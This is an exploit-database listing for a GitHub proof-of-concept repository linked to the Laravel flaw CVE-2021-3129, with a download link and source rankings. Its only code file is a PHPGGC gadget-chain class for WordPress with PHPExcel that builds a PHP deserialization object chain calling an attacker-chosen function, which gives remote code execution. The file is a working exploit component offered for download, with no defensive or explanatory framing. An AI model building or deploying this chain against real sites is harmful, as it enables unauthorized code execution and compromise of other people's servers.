Exploit database

GH-16376e4357f06350aba70a4970a8d451

shadowabi/laravel-cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/WordPress/PHPExcel/RCE/1/chain.php

PHP · 605 bytes
<?php

namespace GadgetChain\WordPress\PHPExcel;

class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '1.8.2+ & WP < 5.5.2';
    public static $vector = '__toString';
    public static $author = 'erwan_lr';
    public static $information = 'Tested up to WP 5.0.11 and PHPExcel 1.8.2';
    
    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \PHPExcel_RichText(
            new \Requests_Utility_FilteredIterator([$parameter], $function)
        );
    }
}